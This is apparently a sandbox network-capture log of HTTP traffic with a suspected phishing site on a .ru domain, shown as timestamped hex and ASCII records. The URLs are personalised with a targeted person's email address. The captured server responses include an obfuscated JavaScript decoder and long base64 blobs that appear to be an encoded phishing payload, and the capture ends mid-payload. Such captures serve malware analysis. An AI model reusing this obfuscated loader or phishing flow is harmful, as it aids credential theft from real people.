2025-03-18 17:17:16 UTC	822	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 17:17:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F1bkSL%2BsRqdsOcytZQgVq95IvVQmlSvjqSIYUqdYhCKT8kiDJNRiJKPPeSN4TRBEpFkCXT8aeHVgbhaKjryGtZqDEV1Lelr2fn5tgu9r1xj9fyXxz20gl1gSs9gvRFH%2F1g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 922661ec8efb4207-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1676&min_rtt=1670&rtt_var=639&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2819&recv_bytes=1133&delivery_rate=1695702&cwnd=198&unsent_bytes=0&cid=efc64374b5175d60&ts=671&x=0"
2025-03-18 17:17:16 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-18 17:17:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 17:17:16 UTC	1446	OUT	POST /nmMmSdPwpaBxTnqpnmfTe0eEsidS7PO9kIHQfu HTTP/1.1 Host: o0o6.bvyunz.ru Connection: keep-alive Content-Length: 774 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6M0o7AWaofhMlgzZ sec-ch-ua-mobile: ?0 Accept: / Origin: https://o0o6.bvyunz.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://o0o6.bvyunz.ru/3v4jfQ-cUo/*mshierry@munsch.com Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRpbFRUQWhOdTlCYzhjYUZZc1dJalE9PSIsInZhbHVlIjoiTXMzMGJQRW1yOXJPL0ZjSm1CWUtiVXZhY0xjalJ5NFBlZzEzcWdFUUxjUDg4Z0FwTCtwUUdxNmF1UDJvNXJ3K2ZDa3g0MGptL215QzZ6SEpzbm9oNkhYQ3FhMTdsempaNmpMaFNmZW5xQjlyeXNKYU92dUtIUEplaUlTQzZ0UEciLCJtYWMiOiJjM2RkNmFlNGUyN2FlMzZhNTQwZmQ0OTg0ZjNkMjk1MjA3NmRhZGI4NTJiNTY3ZjJlOTQ4ZjliZmEzZmE4MWE0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBXWUNXNlR0WWJKZnJEQlhWdXJVT3c9PSIsInZhbHVlIjoiYzFCVEUyUEpDeDNkSzNSSjVLcEs5OGFSc0IrRVl3dU0xdWJRUEhWRmNJVUtCcms5cUQvMWVzZXExOVZqdjdzYmp5UlIzMWZkc0Rsb3p4ak5ocGdVQ20vdHd3RFE0UnEyREdmUXlGODdjVytjTkpWaGlwNXZXL0ZSaGl6WFdyM1ciLCJtYWMiOiJlYjgzNDAyMDc3MGNmMDBiOTUxN2UxYjljMTdmNzhkMjljNjMwMjk5OTc5M2VlYWY1OWI4YjFhMDNjNDc0MjEwIiwidGFnIjoiIn0%3D
2025-03-18 17:17:16 UTC	774	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 36 4d 30 6f 37 41 57 61 6f 66 68 4d 6c 67 7a 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 72 70 51 32 62 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 36 4d 30 6f 37 41 57 61 6f 66 68 4d 6c 67 7a 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 74 64 6c 65 33 46 42 47 34 37 6e 43 34 6f 77 6a 79 50 62 75 31 44 6a 30 50 42 35 6a 61 44 74 78 67 33 38 42 63 70 4d 74 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 36 4d 30 6f Data Ascii: ------WebKitFormBoundary6M0o7AWaofhMlgzZContent-Disposition: form-data; name="bltpg"rpQ2b------WebKitFormBoundary6M0o7AWaofhMlgzZContent-Disposition: form-data; name="sid"tdle3FBG47nC4owjyPbu1Dj0PB5jaDtxg38BcpMt------WebKitFormBoundary6M0o
2025-03-18 17:17:17 UTC	1180	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 17:17:17 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ljSHc7gKcOPn%2FC2vY2kiARFRyBZu3IRF9Sy6zREx0ci7ecj5WsbQGjChjLf3flCZdUYakU8dq4hJ9OdSO%2F33d50eoFQKw1HehLZ%2FmiuNzt1ZzMnQOZncbHAV82R6VlX1lnv2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1260&min_rtt=1251&rtt_var=487&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=3129&delivery_rate=2187311&cwnd=251&unsent_bytes=0&cid=4378fdbd457a5ee8&ts=82&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImtvZ1EyRHdLS1VvWmI1c2pYcm9Cbnc9PSIsInZhbHVlIjoibWJLMndxU3NtS1gwZkFHbnZWV0dpUitlRlZuYmc5VjFDN2RicmhYU3JDZlBGQVR0dUhzMXR1NzR1NlFNVHZidEhsczR5VXJVZUlNL0FpaGVLRTF2WFhiTEU3ZFRPOVB4VXpYSTVwK1hldG51TXZsdkpJYUUxZjEvdTE5eW9Pd3UiLCJtYWMiOiIwM2QyMWE1Y2FjMjNiYzcwYjNkZDUwNTVkZWNiYmRlODQzZGM5OTA0ZDY2NGRmMDRjMDcxMzc5ZmM5NTY1NzU3IiwidGFnIjoiIn0%3D; expires=Tue, 18-Mar-2025 19:17:17 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-18 17:17:17 UTC	784	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 4e 53 4d 6e 64 77 54 6a 42 70 51 30 56 58 4b 32 5a 78 4e 54 4e 49 61 44 4e 68 54 6b 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 65 55 70 79 56 58 64 48 56 44 5a 76 5a 54 4d 79 54 54 4a 44 56 46 6c 70 53 31 4a 70 63 57 39 6a 55 6e 68 73 52 31 4e 78 5a 6d 46 55 4b 32 78 49 52 58 6c 55 55 48 64 43 53 6c 68 6a 4d 57 4a 58 54 48 4e 36 4d 6c 68 74 57 53 74 73 52 56 55 76 63 56 56 73 4e 6b 39 36 53 55 4d 31 65 55 56 53 4e 45 35 45 53 56 70 55 4d 45 31 4a 4e 57 39 72 56 57 55 7a 59 7a 42 4a 54 56 5a 74 51 7a 6c 4f 59 58 46 6d 54 55 6c 68 57 6b 39 47 65 45 4d 32 4e 30 52 4e 4e 7a 42 58 4b 33 6b 7a 59 6e 68 6e 52 46 4a 53 52 48 59 30 4d 79 73 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkNSMndwTjBpQ0VXK2ZxNTNIaDNhTkE9PSIsInZhbHVlIjoieUpyVXdHVDZvZTMyTTJDVFlpS1JpcW9jUnhsR1NxZmFUK2xIRXlUUHdCSlhjMWJXTHN6MlhtWStsRVUvcVVsNk96SUM1eUVSNE5ESVpUME1JNW9rVWUzYzBJTVZtQzlOYXFmTUlhWk9GeEM2N0RNNzBXK3kzYnhnRFJSRHY0Mys
2025-03-18 17:17:17 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-18 17:17:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 17:17:17 UTC	1516	OUT	GET /3v4jfQ-cUo/mshierry@munsch.com HTTP/1.1 Host: o0o6.bvyunz.ru Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://o0o6.bvyunz.ru/3v4jfQ-cUo/mshierry@munsch.com Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImtvZ1EyRHdLS1VvWmI1c2pYcm9Cbnc9PSIsInZhbHVlIjoibWJLMndxU3NtS1gwZkFHbnZWV0dpUitlRlZuYmc5VjFDN2RicmhYU3JDZlBGQVR0dUhzMXR1NzR1NlFNVHZidEhsczR5VXJVZUlNL0FpaGVLRTF2WFhiTEU3ZFRPOVB4VXpYSTVwK1hldG51TXZsdkpJYUUxZjEvdTE5eW9Pd3UiLCJtYWMiOiIwM2QyMWE1Y2FjMjNiYzcwYjNkZDUwNTVkZWNiYmRlODQzZGM5OTA0ZDY2NGRmMDRjMDcxMzc5ZmM5NTY1NzU3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNSMndwTjBpQ0VXK2ZxNTNIaDNhTkE9PSIsInZhbHVlIjoieUpyVXdHVDZvZTMyTTJDVFlpS1JpcW9jUnhsR1NxZmFUK2xIRXlUUHdCSlhjMWJXTHN6MlhtWStsRVUvcVVsNk96SUM1eUVSNE5ESVpUME1JNW9rVWUzYzBJTVZtQzlOYXFmTUlhWk9GeEM2N0RNNzBXK3kzYnhnRFJSRHY0MysiLCJtYWMiOiIwYzc5ZGQyMTA1ZTYyMmVmYmI4MWU1MTE2YzQzNzA0YzcxNWJjYzQyZjI5MzM2MDQ5MzdlZTE2OTE0MDEzNjVhIiwidGFnIjoiIn0%3D
2025-03-18 17:17:18 UTC	1212	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 17:17:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iaVnWiJREyIJ9PO7DTZQZDUFEQwYtu84lHbiJxOiRL5UJKTguWIx3pi3qd%2B7lerzAuvJe41naRKrxJdunChsXdr6qFtb08C8Lw3cBVGSw9KhXkXBA%2BSpXAC4tMefZumaBzOx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=47490&min_rtt=46922&rtt_var=18732&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2413&delivery_rate=56269&cwnd=202&unsent_bytes=0&cid=52a30045bbe5b1be&ts=180&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InhpWWR0OUw2ZURNRjZHSmR0eEVkL3c9PSIsInZhbHVlIjoiSkVzbitZeWRSNGZYY09NR3JQczExMWxBeXFuMGQrdXNoL3RYM3VhUThyYStFaUZjT3hVUTF3Vkd2SGxTNlM3WXhEWkxxMUpVdmFidUh2bEp4SElzWVdibjREeGNJTlVZcnQyajlKRU4wMi9WWlBacDNKT3ZnM2NaNk1ibHk3SmkiLCJtYWMiOiJlODU2NjFjYmI2MzRiMWE1YWFhN2U1ZDVhZjg0YjVjZWJiZTlkZTZhYjcyMDM2YWZjNjU3NWUzNzBhNGU0Yjk0IiwidGFnIjoiIn0%3D; expires=Tue, 18-Mar-2025 19:17:18 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-18 17:17:18 UTC	762	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 56 7a 4f 44 46 4e 65 47 70 30 52 47 6c 59 52 6d 5a 4f 53 48 70 36 55 58 4e 56 51 6b 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4e 48 56 6b 4e 46 5a 55 53 6c 52 74 4d 55 31 74 4e 31 6f 30 64 45 31 44 63 56 68 76 4c 30 31 46 59 55 39 53 63 44 42 56 63 46 42 73 62 43 39 6a 64 30 74 70 4d 46 64 73 63 6d 63 72 52 44 56 6b 52 56 6c 56 5a 6e 42 6d 61 46 4a 4c 4e 55 74 71 52 6c 6c 43 51 6b 5a 33 4d 32 74 49 4e 57 39 36 55 58 6c 4e 54 45 6c 45 59 55 52 6e 63 44 67 35 51 69 74 72 4c 31 4e 59 52 7a 56 69 55 56 46 58 63 56 4e 42 56 56 51 78 52 48 64 35 4e 7a 64 48 63 47 74 69 5a 6c 68 6f 52 47 56 71 5a 6c 52 4c 59 6b 31 44 63 47 78 76 5a 33 4d Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImVzODFNeGp0RGlYRmZOSHp6UXNVQkE9PSIsInZhbHVlIjoiNHVkNFZUSlRtMU1tN1o0dE1DcVhvL01FYU9ScDBVcFBsbC9jd0tpMFdscmcrRDVkRVlVZnBmaFJLNUtqRllCQkZ3M2tINW96UXlNTElEYURncDg5QitrL1NYRzViUVFXcVNBVVQxRHd5NzdHcGtiZlhoRGVqZlRLYk1DcGxvZ3M
2025-03-18 17:17:18 UTC	1369	IN	Data Raw: 34 30 37 32 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 6e 75 78 74 4c 4d 65 51 64 64 28 78 45 67 52 69 70 4b 75 52 6c 2c 20 78 51 6d 70 58 62 4a 69 6b 5a 29 20 7b 0d 0a 6c 65 74 20 56 4e 68 61 48 42 4f 54 46 6c 20 3d 20 27 27 3b 0d 0a 78 45 67 52 69 70 4b 75 52 6c 20 3d 20 61 74 6f 62 28 78 45 67 52 69 70 4b 75 52 6c 29 3b 0d 0a 6c 65 74 20 41 50 53 53 6e 55 6d 6c 49 69 20 3d 20 78 51 6d 70 58 62 4a 69 6b 5a 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 78 45 67 52 69 70 4b 75 52 6c 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 56 4e 68 61 48 42 4f 54 46 6c 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 78 45 67 52 69 70 4b 75 52 6c 2e 63 68 61 72 43 Data Ascii: 4072<script>function nuxtLMeQdd(xEgRipKuRl, xQmpXbJikZ) {let VNhaHBOTFl = '';xEgRipKuRl = atob(xEgRipKuRl);let APSSnUmlIi = xQmpXbJikZ.length;for (let i = 0; i < xEgRipKuRl.length; i++) { VNhaHBOTFl += String.fromCharCode(xEgRipKuRl.charC
2025-03-18 17:17:18 UTC	1369	IN	Data Raw: 71 4e 78 4d 71 43 78 30 7a 50 43 35 68 49 68 30 47 43 51 64 49 50 77 51 2b 50 69 6c 34 4f 43 59 32 41 7a 4d 6a 4d 53 4d 78 43 51 55 43 41 53 38 5a 41 6a 34 58 4c 58 67 34 4b 6a 31 4a 48 6a 78 55 49 7a 77 66 48 67 6b 74 4f 52 59 54 4c 52 4d 35 4b 54 67 74 4a 52 30 65 4e 79 5a 6e 4d 51 6b 2f 58 67 63 58 49 45 49 74 47 43 6f 33 46 54 6b 78 43 52 34 38 4b 6a 38 5a 47 53 74 65 4b 78 4d 56 52 41 63 2b 4c 69 49 39 4c 53 59 49 44 53 77 49 46 42 70 38 49 77 49 72 45 78 5a 48 4b 68 4d 36 64 7a 30 76 56 44 45 65 4e 79 55 33 4d 51 30 77 43 53 30 35 46 68 4d 74 45 7a 6b 70 46 42 63 6d 45 44 4d 38 4c 69 4d 33 4a 7a 4e 65 42 78 51 42 47 43 67 54 4f 6a 51 51 4b 51 67 58 4d 7a 41 4c 4e 78 77 47 4f 31 38 2b 4b 53 41 54 42 57 49 75 65 79 42 63 58 52 45 4e 49 41 73 33 4e 6a Data Ascii: qNxMqCx0zPC5hIh0GCQdIPwQ+Pil4OCY2AzMjMSMxCQUCAS8ZAj4XLXg4Kj1JHjxUIzwfHgktORYTLRM5KTgtJR0eNyZnMQk/XgcXIEItGCo3FTkxCR48Kj8ZGSteKxMVRAc+LiI9LSYIDSwIFBp8IwIrExZHKhM6dz0vVDEeNyU3MQ0wCS05FhMtEzkpFBcmEDM8LiM3JzNeBxQBGCgTOjQQKQgXMzALNxwGO18+KSATBWIueyBcXRENIAs3Nj
2025-03-18 17:17:18 UTC	1369	IN	Data Raw: 50 43 6f 38 4e 7a 6c 42 4a 53 30 35 46 68 4d 74 47 45 67 41 4d 67 42 55 43 68 67 44 56 42 73 69 43 55 67 45 41 43 31 6d 47 41 59 2b 4b 54 73 6f 4f 54 59 52 42 53 77 2b 50 42 6f 67 49 79 4d 46 49 68 6c 45 50 67 64 4e 49 68 49 48 41 78 51 4f 52 6c 30 6c 48 41 6b 6e 57 67 41 39 5a 68 67 47 50 69 30 67 50 53 30 6d 46 7a 4d 6a 55 54 6f 63 43 52 30 59 42 68 4d 2f 47 41 41 39 4c 6a 73 56 4c 51 38 64 4d 67 4e 55 47 7a 45 4e 4d 41 6b 74 50 51 46 47 50 67 64 4e 66 6a 30 41 4a 67 4d 4e 4c 44 34 38 47 69 41 6a 4b 7a 34 74 44 52 77 41 42 77 42 2b 4f 69 30 50 54 52 4d 6c 43 7a 63 78 44 54 41 4a 42 78 63 42 52 41 41 49 4d 6a 73 34 4b 54 34 53 4e 54 77 71 50 44 63 35 51 53 55 43 4b 54 78 44 49 41 45 49 43 53 51 34 4e 69 77 41 49 67 67 6f 49 67 6b 4a 46 69 30 2b 5a 78 4d Data Ascii: PCo8NzlBJS05FhMtGEgAMgBUChgDVBsiCUgEAC1mGAY+KTsoOTYRBSw+PBogIyMFIhlEPgdNIhIHAxQORl0lHAknWgA9ZhgGPi0gPS0mFzMjUTocCR0YBhM/GAA9LjsVLQ8dMgNUGzENMAktPQFGPgdNfj0AJgMNLD48GiAjKz4tDRwABwB+Oi0PTRMlCzcxDTAJBxcBRAAIMjs4KT4SNTwqPDc5QSUCKTxDIAEICSQ4NiwAIggoIgkJFi0+ZxM
2025-03-18 17:17:18 UTC	1369	IN	Data Raw: 69 67 69 4d 77 51 2b 47 43 6f 68 50 53 30 6d 43 6a 55 5a 43 47 41 5a 47 54 63 64 4b 43 49 5a 48 6a 30 48 41 43 49 68 4f 69 45 50 47 6a 63 74 65 7a 73 6e 4d 41 6b 74 4f 52 5a 4d 41 42 63 55 66 68 4d 70 4d 56 45 46 52 79 34 34 47 77 6b 5a 48 6a 30 44 46 54 41 39 43 44 49 6c 4f 43 67 41 46 67 34 64 4a 67 55 69 47 55 41 5a 42 6a 30 52 52 44 34 45 44 7a 67 56 4b 51 68 4b 4e 54 4d 78 65 7a 73 6e 4d 41 6b 74 4f 52 5a 4d 42 32 4d 71 65 78 4d 70 4d 56 45 55 48 53 55 33 4d 51 30 77 43 53 30 35 46 68 4d 39 50 55 45 6c 46 44 30 6d 54 52 51 64 4a 54 63 78 44 54 41 4a 4c 54 6b 57 45 79 30 54 4f 53 6b 34 4b 54 34 4d 4e 52 6f 31 4a 43 49 6a 4e 78 6f 46 4c 53 39 42 4b 7a 6b 35 49 43 55 35 58 51 38 7a 50 43 6f 38 47 79 41 37 42 67 41 35 4e 41 63 74 47 44 59 6d 45 77 41 70 Data Ascii: igiMwQ+GCohPS0mCjUZCGAZGTcdKCIZHj0HACIhOiEPGjctezsnMAktORZMABcUfhMpMVEFRy44GwkZHj0DFTA9CDIlOCgAFg4dJgUiGUAZBj0RRD4EDzgVKQhKNTMxezsnMAktORZMB2MqexMpMVEUHSU3MQ0wCS05FhM9PUElFD0mTRQdJTcxDTAJLTkWEy0TOSk4KT4MNRo1JCIjNxoFLS9BKzk5ICU5XQ8zPCo8GyA7BgA5NActGDYmEwAp
2025-03-18 17:17:18 UTC	1369	IN	Data Raw: 35 36 46 53 31 56 45 51 30 6a 4b 69 59 62 49 7a 64 65 42 53 31 75 41 53 73 35 4f 6a 73 54 58 46 45 57 47 41 4d 4c 4e 7a 45 4e 4d 41 6b 74 4f 52 59 54 4c 52 4d 35 4b 54 67 74 4a 67 34 4f 4c 43 34 2b 47 52 6c 46 57 43 30 2b 46 68 4d 70 4f 6a 6f 35 46 43 6f 58 4d 52 34 33 4a 54 63 78 44 54 41 4a 4c 54 6b 57 45 79 30 54 4f 53 6b 72 41 31 30 50 4d 7a 64 56 59 79 49 5a 48 51 41 46 4d 67 5a 43 4c 52 63 79 4f 42 4d 70 4e 55 30 55 48 53 55 33 4d 51 30 77 43 53 30 35 46 68 4d 74 45 7a 6b 70 4f 43 59 32 46 6a 49 38 4e 53 51 63 42 6a 73 47 42 68 51 5a 47 51 5a 6a 4d 6a 6f 2b 42 79 5a 4c 4e 44 77 6d 50 42 73 6a 50 77 59 48 53 41 4a 44 4a 7a 6b 35 4b 54 67 74 4a 52 30 65 4e 79 55 33 4d 51 30 77 43 53 30 39 4c 78 67 41 47 43 6f 69 45 67 64 56 41 44 51 7a 49 6a 6f 5a 47 Data Ascii: 56FS1VEQ0jKiYbIzdeBS1uASs5OjsTXFEWGAMLNzENMAktORYTLRM5KTgtJg4OLC4+GRlFWC0+FhMpOjo5FCoXMR43JTcxDTAJLTkWEy0TOSkrA10PMzdVYyIZHQAFMgZCLRcyOBMpNU0UHSU3MQ0wCS05FhMtEzkpOCY2FjI8NSQcBjsGBhQZGQZjMjo+ByZLNDwmPBsjPwYHSAJDJzk5KTgtJR0eNyU3MQ0wCS09LxgAGCoiEgdVADQzIjoZG
2025-03-18 17:17:18 UTC	1369	IN	Data Raw: 64 4a 54 63 78 44 54 41 4a 4c 54 6b 57 45 79 67 39 49 69 49 6f 4e 6a 5a 4c 4e 42 6b 79 4b 6a 45 47 41 69 55 74 4f 52 59 54 4c 52 4d 35 4b 54 67 74 4a 52 30 65 4e 79 55 33 49 67 6b 64 46 41 63 39 4c 78 77 42 42 42 63 70 4b 77 4d 63 46 6a 49 77 46 78 73 78 44 54 41 4a 4c 54 6b 57 45 79 30 54 4f 53 6b 34 4c 53 55 64 44 52 6b 63 50 42 30 4e 51 46 30 48 46 78 45 44 4b 7a 6b 36 66 52 49 44 49 67 30 59 41 77 73 33 4d 51 30 77 43 53 30 35 46 68 4d 74 45 7a 6b 70 4f 43 30 6d 46 41 34 73 4a 57 59 78 43 6a 77 5a 42 7a 49 77 51 79 63 35 4f 53 6b 34 4c 53 55 64 48 6a 63 6c 4e 78 34 66 48 67 6b 74 4f 52 59 54 4c 52 4d 35 4b 54 67 74 55 52 63 4e 49 79 4a 67 48 42 59 37 41 69 30 79 4a 44 38 74 45 7a 6b 70 4f 43 30 6c 48 52 34 33 4a 54 63 78 44 54 41 4a 50 52 63 52 48 67 Data Ascii: dJTcxDTAJLTkWEyg9IiIoNjZLNBkyKjEGAiUtORYTLRM5KTgtJR0eNyU3IgkdFAc9LxwBBBcpKwMcFjIwFxsxDTAJLTkWEy0TOSk4LSUdDRkcPB0NQF0HFxEDKzk6fRIDIg0YAws3MQ0wCS05FhMtEzkpOC0mFA4sJWYxCjwZBzIwQyc5OSk4LSUdHjclNx4fHgktORYTLRM5KTgtURcNIyJgHBY7Ai0yJD8tEzkpOC0lHR43JTcxDTAJPRcRHg
2025-03-18 17:17:18 UTC	1369	IN	Data Raw: 42 53 49 6e 47 43 73 35 4f 54 59 2f 41 43 5a 4f 47 41 4d 4c 4e 7a 45 4e 4d 41 6b 74 4f 52 59 54 4c 52 4d 35 4b 54 67 74 4a 68 41 31 52 68 77 6d 47 79 51 65 43 53 31 49 41 67 4d 2b 42 44 6f 69 50 43 6f 58 4d 52 34 33 4a 54 63 78 44 54 41 4a 4c 54 6b 56 54 53 63 35 4f 53 6b 34 4c 53 55 64 48 6a 63 6c 4e 79 49 6a 53 42 67 41 50 51 45 4e 4c 52 67 4c 42 54 67 74 4a 52 30 65 4e 79 55 33 4d 51 30 77 43 53 30 35 46 68 4d 39 50 54 34 6b 45 46 77 41 41 7a 56 48 4d 69 55 69 44 55 41 45 42 6b 67 76 41 67 63 36 46 79 6b 34 46 43 46 49 47 68 34 68 4b 69 49 61 41 69 55 74 4f 52 59 54 4c 52 4d 35 4b 54 67 74 4a 52 30 65 4e 79 55 33 47 77 6b 33 42 54 34 39 4f 77 45 2b 4b 68 63 70 50 41 51 6d 44 54 49 77 46 78 73 78 44 54 41 4a 4c 54 6b 57 45 79 30 54 4f 53 6b 34 4c 53 55 Data Ascii: BSInGCs5OTY/ACZOGAMLNzENMAktORYTLRM5KTgtJhA1RhwmGyQeCS1IAgM+BDoiPCoXMR43JTcxDTAJLTkVTSc5OSk4LSUdHjclNyIjSBgAPQENLRgLBTgtJR0eNyU3MQ0wCS05FhM9PT4kEFwAAzVHMiUiDUAEBkgvAgc6Fyk4FCFIGh4hKiIaAiUtORYTLRM5KTgtJR0eNyU3Gwk3BT49OwE+KhcpPAQmDTIwFxsxDTAJLTkWEy0TOSk4LSU
2025-03-18 17:17:18 UTC	1369	IN	Data Raw: 58 63 34 42 79 6f 51 4e 55 5a 52 59 43 45 5a 50 31 34 74 45 47 49 77 42 6d 4a 4e 66 69 67 35 4b 6b 6f 48 4e 31 30 34 4b 43 6b 65 43 53 30 35 46 68 4d 74 45 7a 6b 70 4f 43 6f 54 44 44 55 5a 49 6d 49 6f 4b 52 34 4a 4c 54 6b 57 45 7a 51 54 51 53 45 72 4f 53 49 52 44 53 77 74 65 7a 73 6e 4d 41 6b 74 4f 52 5a 4d 50 68 63 55 66 44 67 70 4b 67 6b 4f 4c 43 6f 71 4b 42 30 37 42 41 5a 49 59 6b 51 39 42 78 51 37 4b 7a 59 74 45 77 63 54 43 7a 63 78 44 54 41 4a 4c 54 6b 57 45 79 30 55 41 44 51 72 4f 53 70 4b 4e 69 4e 64 4a 54 45 4a 48 51 55 30 4b 52 30 62 42 6d 4a 4a 49 6a 67 48 4a 68 41 31 4d 79 49 71 47 7a 52 42 42 77 64 49 41 52 34 41 46 78 51 34 45 77 63 74 55 52 51 64 4a 54 63 78 44 54 41 4a 4c 54 6b 57 45 79 30 54 4f 53 6b 34 4b 68 77 56 47 68 35 52 43 43 49 5a Data Ascii: Xc4ByoQNUZRYCEZP14tEGIwBmJNfig5KkoHN104KCkeCS05FhMtEzkpOCoTDDUZImIoKR4JLTkWEzQTQSErOSIRDSwtezsnMAktORZMPhcUfDgpKgkOLCoqKB07BAZIYkQ9BxQ7KzYtEwcTCzcxDTAJLTkWEy0UADQrOSpKNiNdJTEJHQU0KR0bBmJJIjgHJhA1MyIqGzRBBwdIAR4AFxQ4EwctURQdJTcxDTAJLTkWEy0TOSk4KhwVGh5RCCIZ
2025-03-18 17:17:18 UTC	1369	IN	Data Raw: 6b 49 4a 52 6b 57 49 78 34 47 53 47 4d 54 50 6d 49 2b 4f 68 41 35 55 52 51 65 4d 79 4a 67 4d 51 59 2f 47 67 5a 49 62 6b 51 46 45 7a 6f 6a 45 67 4d 69 44 67 30 6e 4a 69 6b 68 46 69 4d 43 42 77 4e 6a 54 43 68 6a 4f 57 55 79 42 79 55 64 48 6a 63 6c 4e 7a 45 4e 4d 41 6b 74 4f 52 59 54 4c 52 4d 35 4b 54 67 74 4a 55 49 62 52 6a 59 67 48 43 52 46 4a 53 30 35 46 68 4d 74 45 7a 6b 70 4f 43 30 6c 48 52 34 33 4a 54 63 78 44 54 41 4a 4c 54 34 76 48 77 55 49 49 53 6b 6f 58 42 77 53 4e 45 63 70 61 54 45 6a 4b 77 49 39 49 67 56 46 42 7a 30 74 4a 79 45 4a 43 78 30 65 4e 79 55 33 4d 51 30 77 43 53 30 35 46 68 4d 74 45 7a 6b 70 4f 43 30 6c 48 52 34 33 4a 54 63 78 43 67 6b 42 4b 51 42 69 4e 6a 63 44 53 52 38 54 58 51 41 57 4e 42 6b 79 4f 79 67 4e 53 41 45 70 41 47 4d 2f 4c Data Ascii: 